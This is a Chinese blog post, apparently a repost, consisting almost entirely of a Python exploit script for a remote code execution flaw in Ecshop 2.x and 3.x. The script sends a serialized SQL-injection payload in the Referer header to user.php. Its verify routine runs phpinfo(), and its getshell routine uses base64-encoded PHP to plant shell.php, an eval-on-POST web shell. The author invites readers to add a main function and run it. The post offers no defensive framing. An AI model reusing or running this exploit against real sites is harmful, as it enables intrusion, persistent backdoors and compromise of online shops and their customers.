ecshop v2 v3 EXP

本文提供了一种利用Ecshop V2.x和V3.x版本中存在漏洞的方法,通过构造特定的payload,可以实现远程代码执行,包括获取系统信息和植入webshell。详细介绍了payload的生成过程及验证方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

import requests
import binascii

def get_v2Payload(code):
	'''Ecshop V2.x payload'''
	code = "{$abc'];@assert(%s);//}" %(code)
#	print(code)
	code = code.encode()
	shellcode = binascii.hexlify(code).decode()
	payload = "554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}554fcae493e564ee0dc75bdf2ebf94ca" % ((50 + len(shellcode)),shellcode)
	return payload
def get_v3Payload(code):
	'''Ecshop V3.x payload'''
	code = "{$abc'];assert(%s);//}" %(code)
	code = code.encode()
	shellcode = binascii.hexlify(code).decode()
	payload = "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\";s:%s:\"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x%s,10-- -\";s:2:\"id\";s:4:\"' /*\";}45ea207d7a2b68c49582d2d22adf953a" % ((50 + len(shellcode)),shellcode)
	return payload
def verify(url):
	print(url)
	flag = "allow_url_include"
	code = "phpinfo()"
	url = url + "/user.php"
	ec2payload = get_v2Payload(code)
#	print(ec2payload)
	ec3payload = get_v3Payload(code)
	payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
	for payload,version in payloads:
		headers = {
			'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
			'Referer':payload
		}
		try:
			rsp = requests.get(url,headers=headers,timeout=3)
			if flag in rsp.text:
				verifyInfo = {}
				verifyInfo['URL'] = url
				verifyInfo['version'] = version
				print(verifyInfo)
				break
		except:
			pass
def getshell(url):
	code = "base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzc3N10pOyA/Picp')"
	i = url + "/user.php"
	ec2payload = get_v2Payload(code)
#	print(ec2payload)
	ec3payload = get_v3Payload(code)
	payloads = [(ec2payload,'2.x'),(ec3payload,'3.x')]
	for payload,version in payloads:
		headers = {
			'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0',
			'Referer':payload
		}
		try:
			rsp = requests.get(i,headers=headers,timeout=5)
			if rsp.status_code == 200:
				shurl = url + "/shell.php"
				srsp = requests.get(shurl,timeout=5)
				if srsp.status_code == 200:
					verifyInfo = {}
					verifyInfo['URL'] = shurl
					verifyInfo['version'] = version
					print(verifyInfo)
					break
		except:
			pass

 大概就是这么个样子,具体要怎么用自己在添加主函数就行。

转载于:https://www.cnblogs.com/Spec/p/11017846.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值